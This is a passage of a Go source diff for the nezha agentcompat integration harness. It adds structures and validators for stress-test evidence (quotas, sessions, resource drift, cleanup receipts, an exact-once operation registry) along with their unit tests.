json.NewDecoder(bytes.NewReader(data)) + decoder.DisallowUnknownFields() + if err := decoder.Decode(&value); err != nil { + return value, fmt.Errorf("decode stress artifact: %w", ErrStressArtifactInvalid) + } + var trailing struct{} + if err := decoder.Decode(&trailing); !errors.Is(err, io.EOF) { + return value, ErrStressArtifactInvalid + } + if err := value.validate(); err != nil { + return value, err + } + return value, nil +} + +func newStressArtifact(value StressEvidence) (stressArtifact, error) { + profile, err := contract.ProfileByName(string(value.Profile)) + if err != nil { + return stressArtifact{}, err + } + artifact := stressArtifact{Version: 1, Profile: string(value.Profile), Seed: fmt.Sprintf("%08x", uint64(value.Seed)), SessionCount: len(value.Sessions), WarmupCount: len(value.Warmups), ResourceSummaryCount: 1 + profile.AgentCount(), ResourceSampleCount: 5, ResourceIntervalMilliseconds: 250, Quotas: value.Quotas, PathLockStripes: value.Quotas.PathLockStripes, Cleanup: value.Cleanup} + operationIDs := make(map[StressOperationID]struct{}) + resourceEvaluations := make([]StressResourceEvaluation, 0, artifact.ResourceSummaryCount) + for _, iteration := range value.Iterations { + artifact.RoundCount += len(iteration.Rounds) + for _, round := range iteration.Rounds { + artifact.OperationCount += len(round.Operations) + for _, operation := range round.Operations { + if _, duplicate := operationIDs[operation.ID]; duplicate { + artifact.DuplicateOperations++ + } + operationIDs[operation.ID] = struct{}{} + } + } + for _, resource := range iteration.Resources { + evaluation, err := EvaluateStressResource(resource) + if err != nil { + return stressArtifact{}, err + } + resourceEvaluations = append(resourceEvaluations, evaluation) + } + } + resourceDrift, rssBounded, err := aggregateStressResourceEvaluations(resourceEvaluations, artifact.ResourceSummaryCount) + if err != nil { + return stressArtifact{}, err + } + artifact.ResourceDrift = resourceDrift + artifact.RSSBounded = rssBounded + return artifact, artifact.validate() +} + +func aggregateStressResourceEvaluations(evaluations []StressResourceEvaluation, expectedCount int) (int, bool, error) { + if len(evaluations) != expectedCount { + return 0, false, fmt.Errorf("resource evaluations=%d want=%d: %w", len(evaluations), expectedCount, ErrStressArtifactInvalid) + } + drift := 0 + rssBounded := true + for _, evaluation := range evaluations { + if evaluation.Baseline.Descendants != evaluation.End.Descendants || evaluation.Baseline.NonStdioFDs != evaluation.End.NonStdioFDs || evaluation.Baseline.TCPListeners != evaluation.End.TCPListeners || evaluation.Baseline.TCP6Listeners != evaluation.End.TCP6Listeners { + drift++ + } + rssBounded = rssBounded && evaluation.RSSDeltaBytes <= evaluation.RSSLimitBytes + } + return drift, rssBounded, nil +} + +func (artifact stressArtifact) validate() error { + if artifact.Version != 1 || artifact.Profile != string(contract.ProfilePRFull) || artifact.Seed != "4e5a4841" || artifact.RoundCount != 4 || artifact.OperationCount != 64 || artifact.SessionCount != 12 || artifact.WarmupCount != 8 || artifact.ResourceSummaryCount != 9 || artifact.ResourceSampleCount != 5 || artifact.ResourceIntervalMilliseconds != 250 || artifact.PathLockStripes != 1024 || artifact.DuplicateOperations != 0 || artifact.ResourceDrift != 0 || !artifact.RSSBounded || !artifact.Cleanup.Passed || artifact.Cleanup.ReceiptCount != 9 || artifact.Cleanup.FailedReceiptCount != 0 || artifact.Cleanup.ForcedCleanupCount != 0 || artifact.Cleanup.ProcessResidue != 0 || artifact.Cleanup.ProcessGroupResidue != 0 || artifact.Cleanup.WorkspaceResidue != 0 { + return ErrStressArtifactInvalid + } + return artifact.Quotas.Validate() +} diff --git a/integration/agentcompat/internal/scenario/stress_artifact_test.go b/integration/agentcompat/internal/scenario/stress_artifact_test.go new file mode 100644 index 00000000..1da80cdc --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_artifact_test.go @@ -0,0 +1,96 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStressArtifactRejectsUnknownAndRuntimeFields(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + root := t.TempDir() + valid := validStressArtifact(t, profile) + data, err := json.Marshal(valid) + require.NoError(t, err) + for _, mutation := range []string{ + `{"unknown":true}`, + `{"pid":123}`, + `{"operation_id":"op"}`, + } { + path := filepath.Join(root, "stress.json") + require.NoError(t, os.WriteFile(path, append(data[:len(data)-1], []byte(","+mutation[1:])...), 0o600)) + _, err = readStressEvidence(root) + require.ErrorIs(t, err, ErrStressArtifactInvalid) + } +} + +func TestStressArtifactRejectsTrailingDataAndWrongSeed(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + root := t.TempDir() + valid := validStressArtifact(t, profile) + data, err := json.Marshal(valid) + require.NoError(t, err) + require.NoError(t, os.WriteFile(filepath.Join(root, "stress.json"), append(data, []byte("\n{}")...), 0o600)) + _, err = readStressEvidence(root) + require.ErrorIs(t, err, ErrStressArtifactInvalid) + + valid.Seed = "4e5a4842" + data, err = json.Marshal(valid) + require.NoError(t, err) + require.NoError(t, os.WriteFile(filepath.Join(root, "stress.json"), data, 0o600)) + _, err = readStressEvidence(root) + require.ErrorIs(t, err, ErrStressArtifactInvalid) +} + +func TestStressCleanupMutationsCannotPublishSuccess(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + value := validStressEvidence(t, profile) + for _, mutate := range []func(*StressEvidence){ + func(evidence *StressEvidence) { evidence.Cleanup.FailedReceiptCount = 1 }, + func(evidence *StressEvidence) { evidence.Cleanup.ForcedCleanupCount = 1 }, + func(evidence *StressEvidence) { evidence.Cleanup.ProcessResidue = 1 }, + func(evidence *StressEvidence) { evidence.Cleanup.ProcessGroupResidue = 1 }, + func(evidence *StressEvidence) { evidence.Cleanup.WorkspaceResidue = 1 }, + } { + candidate := value + mutate(&candidate) + _, err := newStressArtifact(candidate) + require.Error(t, err) + } +} + +func TestStressArtifactAggregatesExactlyNineResourceEvaluations(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + value := validStressEvidence(t, profile) + artifact, err := newStressArtifact(value) + require.NoError(t, err) + require.Equal(t, 0, artifact.ResourceDrift) + require.True(t, artifact.RSSBounded) + + value.Iterations[0].Resources = value.Iterations[0].Resources[:8] + _, err = newStressArtifact(value) + require.ErrorIs(t, err, ErrStressArtifactInvalid) +} + +func validStressArtifact(t *testing.T, profile contract.Profile) stressArtifact { + t.Helper() + return stressArtifact{ + Version: 1, Profile: string(profile.Name()), Seed: "4e5a4841", + RoundCount: 4, OperationCount: 64, SessionCount: 12, WarmupCount: 8, + ResourceSummaryCount: 9, ResourceSampleCount: 5, ResourceIntervalMilliseconds: 250, + Quotas: StressQuotaEvidence{PATSecond: quotaBoundary(10, 11), PATMinute: quotaBoundary(120, 121), UserStreams: quotaBoundary(20, 21), ServerStreams: quotaBoundary(40, 41)}, + PathLockStripes: 1024, DuplicateOperations: 0, ResourceDrift: 0, RSSBounded: true, + Cleanup: StressCleanupSummary{Passed: true, ReceiptCount: 9}, + } +} diff --git a/integration/agentcompat/internal/scenario/stress_evidence.go b/integration/agentcompat/internal/scenario/stress_evidence.go new file mode 100644 index 00000000..8e7d9525 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_evidence.go @@ -0,0 +1,169 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + "reflect" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +var ( + ErrStressEvidence = errors.New("stress evidence is invalid") + ErrStressFault = errors.New("stress worker fault evidence is invalid") +) + +type StressPreparedBinaries struct { + DashboardBuildCount int `json:"dashboard_build_count"` + DashboardPathReused bool `json:"dashboard_path_reused"` + AgentBuildCount int `json:"agent_build_count"` + AgentPathReused bool `json:"agent_path_reused"` +} + +type StressQuotaBoundary struct { + Allowed int `json:"allowed"` + Rejected int `json:"rejected"` + AllowedAccepted bool `json:"allowed_accepted"` + RejectedDenied bool `json:"rejected_denied"` +} + +type StressQuotaEvidence struct { + PATSecond StressQuotaBoundary `json:"pat_second"` + PATMinute StressQuotaBoundary `json:"pat_minute"` + UserStreams StressQuotaBoundary `json:"user_streams"` + ServerStreams StressQuotaBoundary `json:"server_streams"` + PathLockStripes int `json:"path_lock_stripes"` +} + +type StressWarmupEvidence struct { + Agent StressAgentOrdinal `json:"agent"` + Exec bool `json:"exec"` + Filesystem bool `json:"filesystem"` + Terminal bool `json:"terminal"` + NAT bool `json:"nat"` + FM bool `json:"file_manager"` +} + +type StressSessionEvidence struct { + ID StressSessionID `json:"id"` + Kind StressSessionKind `json:"kind"` + Succeeded bool `json:"succeeded"` +} + +type StressFaultTarget struct { + Iteration int `json:"iteration"` + Round int `json:"round"` + Agent StressAgentOrdinal `json:"agent"` + Kind StressOperationKind `json:"kind"` +} + +type StressCleanupSummary struct { + Passed bool `json:"passed"` + ReceiptCount int `json:"receipt_count"` + FailedReceiptCount int `json:"failed_receipt_count"` + ForcedCleanupCount int `json:"forced_cleanup_count"` + ProcessResidue int `json:"process_residue"` + ProcessGroupResidue int `json:"process_group_residue"` + WorkspaceResidue int `json:"workspace_residue"` +} + +type StressIterationEvidence struct { + Iteration int `json:"iteration"` + Rounds []StressRoundEvidence `json:"rounds"` + Resources []StressProcessWindows `json:"resources"` +} + +type StressEvidence struct { + Version int `json:"version"` + Profile contract.ProfileName `json:"profile"` + Seed contract.Seed `json:"seed"` + PreparedBinaries StressPreparedBinaries `json:"prepared_binaries"` + Quotas StressQuotaEvidence `json:"quotas"` + Warmups []StressWarmupEvidence `json:"warmups"` + Sessions []StressSessionEvidence `json:"sessions"` + Plan StressPlan `json:"plan"` + Iterations []StressIterationEvidence `json:"iterations"` + FaultTarget *StressFaultTarget `json:"fault_target,omitempty"` + SoakTrend StressSoakTrendEvidence `json:"soak_trend,omitempty"` + Cleanup StressCleanupSummary `json:"cleanup"` +} + +func StressWorkerFaultTarget() StressFaultTarget { + agent, err := NewStressAgentOrdinal(4) + if err != nil { + panic(err) + } + return StressFaultTarget{Iteration: 1, Round: 2, Agent: agent, Kind: StressOperationExec} +} + +func (e StressEvidence) ValidateSuccess(profile contract.Profile) error { + return e.validate(profile, false) +} + +func (e StressEvidence) ValidateStressWorker(profile contract.Profile) error { + return e.validate(profile, true) +} + +func (e StressEvidence) validate(profile contract.Profile, faultAware bool) error { + if e.Version != 1 || e.Profile != profile.Name() || e.Seed != contract.DefaultSeed { + return ErrStressEvidence + } + canonical, err := GenerateStressPlan(profile, e.Seed) + if err != nil || e.Plan.Profile != e.Profile || e.Plan.Seed != e.Seed || !reflect.DeepEqual(e.Plan, canonical) { + return fmt.Errorf("plan does not match canonical plan: %w", ErrStressEvidence) + } + if err := validateStressPreparedBinaries(e.PreparedBinaries); err != nil { + return err + } + if err := e.Quotas.Validate(); err != nil { + return err + } + if err := validateStressWarmups(e.Warmups, profile.AgentCount()); err != nil { + return err + } + if err := validateStressSessions(e.Sessions, canonical.Sessions, profile.ConcurrentSessions()); err != nil { + return err + } + if len(e.Iterations) != profile.Iterations() { + return fmt.Errorf("iterations=%d want=%d: %w", len(e.Iterations), profile.Iterations(), ErrStressEvidence) + } + failed := 0 + for index, iteration := range e.Iterations { + count, err := validateStressIteration(canonical, iteration, index+1, faultAware) + if err != nil { + return err + } + failed += count + } + if err := validateStressFault(e.FaultTarget, failed, faultAware); err != nil { + return err + } + if profile.Iterations() == 3 { + if err := ValidateStressSoakTrendForProfile(profile, e.SoakTrend); err != nil { + return err + } + } + if !e.Cleanup.Passed || e.Cleanup.ReceiptCount != 9 || e.Cleanup.FailedReceiptCount != 0 || e.Cleanup.ForcedCleanupCount != 0 || e.Cleanup.ProcessResidue != 0 || e.Cleanup.ProcessGroupResidue != 0 || e.Cleanup.WorkspaceResidue != 0 { + return fmt.Errorf("cleanup=%+v: %w", e.Cleanup, ErrStressEvidence) + } + return nil +} + +func (q StressQuotaEvidence) Validate() error { + wants := []struct { + got StressQuotaBoundary + allow int + reject int + }{{q.PATSecond, 10, 11}, {q.PATMinute, 120, 121}, {q.UserStreams, 20, 21}, {q.ServerStreams, 40, 41}} + for _, want := range wants { + if want.got.Allowed != want.allow || want.got.Rejected != want.reject || !want.got.AllowedAccepted || !want.got.RejectedDenied { + return fmt.Errorf("quota=%+v want=%d/%d: %w", want.got, want.allow, want.reject, ErrStressEvidence) + } + } + if q.PathLockStripes != 1024 { + return fmt.Errorf("path lock stripes=%d: %w", q.PathLockStripes, ErrStressEvidence) + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/stress_evidence_test.go b/integration/agentcompat/internal/scenario/stress_evidence_test.go new file mode 100644 index 00000000..b4703b7a --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_evidence_test.go @@ -0,0 +1,147 @@ +//go:build linux + +package scenario + +import ( + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStressEvidence_AcceptsCompleteSuccessContract(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + evidence := validStressEvidence(t, profile) + + err = evidence.ValidateSuccess(profile) + + require.NoError(t, err) +} + +func TestStressEvidence_AcceptsOnlyExactStressWorkerFault(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + evidence := validStressEvidence(t, profile) + target := StressWorkerFaultTarget() + evidence.FaultTarget = &target + faultOperation := findStressFaultOperation(evidence.Plan) + for roundIndex := range evidence.Iterations[0].Rounds { + for operationIndex := range evidence.Iterations[0].Rounds[roundIndex].Operations { + operation := &evidence.Iterations[0].Rounds[roundIndex].Operations[operationIndex] + if operation.ID == faultOperation.ID { + operation.Succeeded = false + operation.Error = "injected stress worker fault" + } + } + } + + err = evidence.ValidateStressWorker(profile) + + require.NoError(t, err) +} + +func TestStressEvidence_RejectsSecondFailedOperationForStressWorker(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + evidence := validStressEvidence(t, profile) + target := StressWorkerFaultTarget() + evidence.FaultTarget = &target + evidence.Iterations[0].Rounds[1].Operations[0].Succeeded = false + evidence.Iterations[0].Rounds[1].Operations[0].Error = "injected stress worker fault" + evidence.Iterations[0].Rounds[1].Operations[1].Succeeded = false + evidence.Iterations[0].Rounds[1].Operations[1].Error = "unexpected failure" + + err = evidence.ValidateStressWorker(profile) + + require.ErrorIs(t, err, ErrStressFault) +} + +func TestStressEvidence_RejectsSelfConsistentTruncatedPlan(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + evidence := validStressEvidence(t, profile) + evidence.Plan.Rounds = evidence.Plan.Rounds[:1] + evidence.Iterations[0].Rounds = evidence.Iterations[0].Rounds[:1] + + err = evidence.ValidateSuccess(profile) + + require.ErrorIs(t, err, ErrStressEvidence) +} + +func TestStressEvidence_RejectsDuplicateDashboardResources(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + evidence := validStressEvidence(t, profile) + evidence.Iterations[0].Resources[1] = evidence.Iterations[0].Resources[0] + + err = evidence.ValidateSuccess(profile) + + require.ErrorIs(t, err, ErrStressEvidence) +} + +func validStressEvidence(t *testing.T, profile contract.Profile) StressEvidence { + t.Helper() + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + warmups := make([]StressWarmupEvidence, profile.AgentCount()) + for index := range warmups { + agent, agentErr := NewStressAgentOrdinal(index + 1) + require.NoError(t, agentErr) + warmups[index] = StressWarmupEvidence{Agent: agent, Exec: true, Filesystem: true, Terminal: true, NAT: true, FM: true} + } + sessions := make([]StressSessionEvidence, len(plan.Sessions)) + for index, session := range plan.Sessions { + sessions[index] = StressSessionEvidence{ID: session.ID, Kind: session.Kind, Succeeded: true} + } + rounds := make([]StressRoundEvidence, len(plan.Rounds)) + started := time.Unix(100, 0) + for roundIndex, round := range plan.Rounds { + operations := make([]StressOperationEvidence, len(round.Operations)) + for operationIndex, operation := range round.Operations { + operations[operationIndex] = StressOperationEvidence{ID: operation.ID, Round: operation.Round, Agent: operation.Agent, PAT: operation.PAT, Kind: operation.Kind, LaunchedAt: started, CompletedAt: started.Add(time.Millisecond), Succeeded: true, SuccessProof: "ok"} + } + rounds[roundIndex] = StressRoundEvidence{Round: round.Round, Operations: operations} + } + resources := make([]StressProcessWindows, 0, profile.AgentCount()+1) + resources = append(resources, stressDashboardResourceFixture(100)) + for index := 1; index <= profile.AgentCount(); index++ { + agent, agentErr := NewStressAgentOrdinal(index) + require.NoError(t, agentErr) + process, processErr := NewStressAgentProcess(agent, 200+index) + require.NoError(t, processErr) + resources = append(resources, StressProcessWindows{Process: process, Baseline: stressWindow(200+index, 100), End: stressWindow(200+index, 100)}) + } + iterations := make([]StressIterationEvidence, profile.Iterations()) + for index := range iterations { + iterations[index] = StressIterationEvidence{Iteration: index + 1, Rounds: rounds, Resources: resources} + } + return StressEvidence{ + Version: 1, Profile: profile.Name(), Seed: contract.DefaultSeed, Plan: plan, + PreparedBinaries: StressPreparedBinaries{DashboardBuildCount: 1, DashboardPathReused: true, AgentBuildCount: 1, AgentPathReused: true}, + Quotas: StressQuotaEvidence{ + PATSecond: quotaBoundary(10, 11), PATMinute: quotaBoundary(120, 121), + UserStreams: quotaBoundary(20, 21), ServerStreams: quotaBoundary(40, 41), PathLockStripes: 1024, + }, + Warmups: warmups, Sessions: sessions, Iterations: iterations, + Cleanup: StressCleanupSummary{Passed: true, ReceiptCount: 9}, + } +} + +func quotaBoundary(allowed, rejected int) StressQuotaBoundary { + return StressQuotaBoundary{Allowed: allowed, Rejected: rejected, AllowedAccepted: true, RejectedDenied: true} +} + +func findStressFaultOperation(plan StressPlan) StressOperationPlan { + target := StressWorkerFaultTarget() + for _, round := range plan.Rounds { + for _, operation := range round.Operations { + if round.Round == target.Round && operation.Agent == target.Agent && operation.Kind == target.Kind { + return operation + } + } + } + panic("stress fault operation missing") +} diff --git a/integration/agentcompat/internal/scenario/stress_evidence_validation.go b/integration/agentcompat/internal/scenario/stress_evidence_validation.go new file mode 100644 index 00000000..afce3d54 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_evidence_validation.go @@ -0,0 +1,154 @@ +//go:build linux + +package scenario + +import "fmt" + +func validateStressPreparedBinaries(evidence StressPreparedBinaries) error { + if evidence.DashboardBuildCount != 1 || !evidence.DashboardPathReused || evidence.AgentBuildCount != 1 || !evidence.AgentPathReused { + return fmt.Errorf("prepared binaries=%+v: %w", evidence, ErrStressEvidence) + } + return nil +} + +func validateStressWarmups(warmups []StressWarmupEvidence, agentCount int) error { + if len(warmups) != agentCount { + return fmt.Errorf("warmups=%d want=%d: %w", len(warmups), agentCount, ErrStressEvidence) + } + seen := make(map[int]struct{}, len(warmups)) + for _, warmup := range warmups { + if _, duplicate := seen[warmup.Agent.Int()]; duplicate || !warmup.Exec || !warmup.Filesystem || !warmup.Terminal || !warmup.NAT || !warmup.FM { + return fmt.Errorf("warmup=%+v: %w", warmup, ErrStressEvidence) + } + seen[warmup.Agent.Int()] = struct{}{} + } + return nil +} + +func validateStressSessions(sessions []StressSessionEvidence, plan []StressSessionPlan, countPerKind int) error { + if len(sessions) != countPerKind*3 { + return fmt.Errorf("sessions=%d want=%d: %w", len(sessions), countPerKind*3, ErrStressEvidence) + } + if len(plan) != len(sessions) { + return fmt.Errorf("session plan=%d evidence=%d: %w", len(plan), len(sessions), ErrStressEvidence) + } + expected := make(map[StressSessionID]StressSessionPlan, len(plan)) + for _, session := range plan { + expected[session.ID] = session + } + counts := make(map[StressSessionKind]int, 3) + seen := make(map[StressSessionID]struct{}, len(sessions)) + for _, session := range sessions { + planned, exists := expected[session.ID] + _, duplicate := seen[session.ID] + if !exists || planned.Kind != session.Kind || duplicate || !session.Succeeded { + return fmt.Errorf("session=%+v: %w", session, ErrStressEvidence) + } + seen[session.ID] = struct{}{} + counts[session.Kind]++ + } + for _, kind := range []StressSessionKind{StressSessionTerminal, StressSessionNAT, StressSessionFM} { + if counts[kind] != countPerKind { + return fmt.Errorf("session kind=%s count=%d want=%d: %w", kind, counts[kind], countPerKind, ErrStressEvidence) + } + } + return nil +} + +func validateStressIteration(plan StressPlan, evidence StressIterationEvidence, iteration int, faultAware bool) (int, error) { + if evidence.Iteration != iteration || len(evidence.Rounds) != len(plan.Rounds) || len(evidence.Resources) != 1+canonicalAgentCount(plan) { + return 0, fmt.Errorf("iteration=%+v: %w", evidence, ErrStressEvidence) + } + failed := 0 + for index, round := range evidence.Rounds { + matched, err := matchStressRoundEvidence(plan.Rounds[index], round) + if err != nil { + return 0, err + } + for _, operation := range matched { + if !operation.Succeeded || operation.Error != "" { + failed++ + if !faultAware || !isStressFaultOperation(plan.Rounds[index], operation, iteration) { + return 0, fmt.Errorf("unexpected failed operation=%s: %w", operation.ID.String(), ErrStressFault) + } + } + } + } + if err := validateStressResourceIdentities(plan, evidence.Resources); err != nil { + return 0, err + } + for _, windows := range evidence.Resources { + if _, err := EvaluateStressResource(windows); err != nil { + return 0, err + } + } + return failed, nil +} + +func validateStressFault(target *StressFaultTarget, failed int, faultAware bool) error { + if !faultAware { + if target != nil || failed != 0 { + return ErrStressFault + } + return nil + } + want := StressWorkerFaultTarget() + if target == nil || *target != want || failed != 1 { + return fmt.Errorf("target=%+v failed=%d want=%+v/1: %w", target, failed, want, ErrStressFault) + } + return nil +} + +func isStressFaultOperation(plan StressRoundPlan, evidence StressOperationEvidence, iteration int) bool { + target := StressWorkerFaultTarget() + if iteration != target.Iteration || plan.Round != target.Round { + return false + } + for _, operation := range plan.Operations { + if operation.ID == evidence.ID { + return operation.Agent == target.Agent && operation.Kind == target.Kind + } + } + return false +} + +func planAgentCount(plan StressPlan) int { + return canonicalAgentCount(plan) +} + +func canonicalAgentCount(plan StressPlan) int { + if len(plan.Rounds) == 0 { + return 0 + } + return len(plan.Rounds[0].Operations) / 2 +} + +func validateStressResourceIdentities(plan StressPlan, resources []StressProcessWindows) error { + wantAgents := planAgentCount(plan) + if len(resources) != wantAgents+1 { + return fmt.Errorf("resources=%d want=%d: %w", len(resources), wantAgents+1, ErrStressEvidence) + } + dashboardCount := 0 + seenAgents := make(map[int]struct{}, wantAgents) + for _, resource := range resources { + switch resource.Process.Kind { + case StressProcessDashboard: + dashboardCount++ + case StressProcessAgent: + ordinal := resource.Process.Agent.Int() + if ordinal < 1 || ordinal > wantAgents { + return fmt.Errorf("unknown agent ordinal=%d: %w", ordinal, ErrStressEvidence) + } + if _, duplicate := seenAgents[ordinal]; duplicate { + return fmt.Errorf("duplicate agent ordinal=%d: %w", ordinal, ErrStressEvidence) + } + seenAgents[ordinal] = struct{}{} + default: + return fmt.Errorf("unknown process kind=%q: %w", resource.Process.Kind, ErrStressEvidence) + } + } + if dashboardCount != 1 || len(seenAgents) != wantAgents { + return fmt.Errorf("dashboard=%d agents=%d want=1/%d: %w", dashboardCount, len(seenAgents), wantAgents, ErrStressEvidence) + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/stress_exact_once.go b/integration/agentcompat/internal/scenario/stress_exact_once.go new file mode 100644 index 00000000..b22ecdc7 --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_exact_once.go @@ -0,0 +1,100 @@ +//go:build linux + +package scenario + +import ( + "errors" + "fmt" + "sync" +) + +var ( + ErrStressOperationUnknown = errors.New("stress operation is unknown") + ErrStressOperationDuplicateStart = errors.New("stress operation started more than once") + ErrStressOperationDuplicateCompletion = errors.New("stress operation completed more than once") + ErrStressOperationOwnerMismatch = errors.New("stress operation owner does not match plan") + ErrStressOperationMissingCompletion = errors.New("stress operation completion is missing") +) + +type StressOperationReceipt struct { + Operation StressOperationPlan `json:"operation"` + SuccessProof string `json:"success_proof"` +} + +type stressOperationState struct { + plan StressOperationPlan + started bool + completed bool +} + +type stressExactOnceRegistry struct { + mu sync.Mutex + operations map[StressOperationID]*stressOperationState +} + +func newStressExactOnceRegistry(plan StressPlan) (*stressExactOnceRegistry, error) { + operations := make(map[StressOperationID]*stressOperationState) + for _, round := range plan.Rounds { + for _, operation := range round.Operations { + if operation.ID.String() == "" { + return nil, fmt.Errorf("empty operation ID: %w", ErrStressOperationUnknown) + } + if _, exists := operations[operation.ID]; exists { + return nil, fmt.Errorf("duplicate operation ID %s: %w", operation.ID.String(), ErrStressOperationUnknown) + } + operations[operation.ID] = &stressOperationState{plan: operation} + } + } + return &stressExactOnceRegistry{operations: operations}, nil +} + +func (registry *stressExactOnceRegistry) Start(operation StressOperationPlan) error { + registry.mu.Lock() + defer registry.mu.Unlock() + state, exists := registry.operations[operation.ID] + if !exists { + return ErrStressOperationUnknown + } + if state.plan != operation { + return ErrStressOperationOwnerMismatch + } + if state.started { + return ErrStressOperationDuplicateStart + } + state.started = true + return nil +} + +func (registry *stressExactOnceRegistry) Complete(receipt StressOperationReceipt) error { + registry.mu.Lock() + defer registry.mu.Unlock() + state, exists := registry.operations[receipt.Operation.ID] + if !exists { + return ErrStressOperationUnknown + } + if state.plan != receipt.Operation { + return ErrStressOperationOwnerMismatch + } + if !state.started { + return ErrStressOperationDuplicateStart + } + if state.completed { + return ErrStressOperationDuplicateCompletion + } + if receipt.SuccessProof == "" { + return ErrStressOperationMissingCompletion + } + state.completed = true + return nil +} + +func (registry *stressExactOnceRegistry) ValidateComplete() error { + registry.mu.Lock() + defer registry.mu.Unlock() + for _, state := range registry.operations { + if !state.started || !state.completed { + return ErrStressOperationMissingCompletion + } + } + return nil +} diff --git a/integration/agentcompat/internal/scenario/stress_exact_once_test.go b/integration/agentcompat/internal/scenario/stress_exact_once_test.go new file mode 100644 index 00000000..bfbe0a3b --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_exact_once_test.go @@ -0,0 +1,43 @@ +//go:build linux + +package scenario + +import ( + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/contract" +) + +func TestStressExactOnceRegistryRejectsInvalidReceipts(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + registry, err := newStressExactOnceRegistry(plan) + require.NoError(t, err) + operation := plan.Rounds[0].Operations[0] + receipt := StressOperationReceipt{Operation: operation, SuccessProof: "ok"} + require.NoError(t, registry.Start(operation)) + require.ErrorIs(t, registry.Start(operation), ErrStressOperationDuplicateStart) + require.NoError(t, registry.Complete(receipt)) + require.ErrorIs(t, registry.Complete(receipt), ErrStressOperationDuplicateCompletion) + require.ErrorIs(t, registry.Start(StressOperationPlan{ID: operation.ID}), ErrStressOperationOwnerMismatch) + require.ErrorIs(t, registry.Complete(StressOperationReceipt{Operation: StressOperationPlan{ID: operation.ID, Round: 2, Agent: operation.Agent, PAT: operation.PAT, Kind: operation.Kind}, SuccessProof: "ok"}), ErrStressOperationOwnerMismatch) +} + +func TestStressExactOnceRegistryRequiresCanonicalCompletion(t *testing.T) { + profile, err := contract.ProfileByName(string(contract.ProfilePRFull)) + require.NoError(t, err) + plan, err := GenerateStressPlan(profile, contract.DefaultSeed) + require.NoError(t, err) + registry, err := newStressExactOnceRegistry(plan) + require.NoError(t, err) + for _, round := range plan.Rounds { + for _, operation := range round.Operations { + require.NoError(t, registry.Start(operation)) + } + } + require.ErrorIs(t, registry.ValidateComplete(), ErrStressOperationMissingCompletion) +} diff --git a/integration/agentcompat/internal/scenario/stress_fd_diagnostic_collector_test.go b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_collector_test.go new file mode 100644 index 00000000..d4980abf --- /dev/null +++ b/integration/agentcompat/internal/scenario/stress_fd_diagnostic_collector_test.go @@ -0,0 +1,81 @@ +//go:build linux && agentcompat + +package scenario + +import ( + "encoding/json" + "fmt" + "strings" + "testing" + + "github.com/stretchr/testify/require" + + processharness "github.com/nezhahq/nezha/integration/agentcompat/internal/process" +) + +func TestFDDiagnosticCollector_UsesOnlyFinalSampleCountThroughCollectorWiring(t *testing.T) { + // Given + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, TailResultCapacity: 8, Sample: fdDiagnosticTestSampler}) + pair := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 8, Target: "stable"}) + pair.end.Window.Samples[0].NonStdioFDCount = 9 + collector.RecordBaseline(pair.baseline) + + // When + collector.RecordEnd(t.Context(), pair.end) + records := collector.WaitRecords() + + // Then + require.Empty(t, records) +} + +func TestFDDiagnosticCollector_OrdersAndLogsStableCompleteRecords(t *testing.T) { + // Given + collector := newFDDiagnosticCollector(fdDiagnosticCollectorSpec{Enabled: true, SamplerPID: 900, TailResultCapacity: 8, Sample: fdDiagnosticTestSampler}) + agentOne := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 1, PID: 101, BaselineCount: 8, EndCount: 9, Target: "one"}) + agentTwo := stressDiagnosticAgentWindow(t, stressDiagnosticAgentWindowSpec{Ordinal: 2, PID: 102, BaselineCount: 8, EndCount: 9, Target: "two"}) + fdDiagnosticSetFinalObservations(&agentOne, 101) + fdDiagnosticSetFinalObservations(&agentTwo, 102) + collector.RecordBaseline(agentTwo.baseline) + collector.RecordBaseline(agentOne.baseline) + + // When + collector.RecordEnd(t.Context(), agentTwo.end) + collector.RecordEnd(t.Context(), agentOne.end) + records := collector.WaitRecords() + logs := make([]string, 0, len(records)) + logger := &fdDiagnosticMemoryLogger{lines: &logs} + collector.WaitAndLog(logger) + collector.WaitAndLog(logger) + + // Then + require.Len(t, records, 2) + require.Equal(t, []int{1, 2}, []int{records[0].AgentOrdinal, 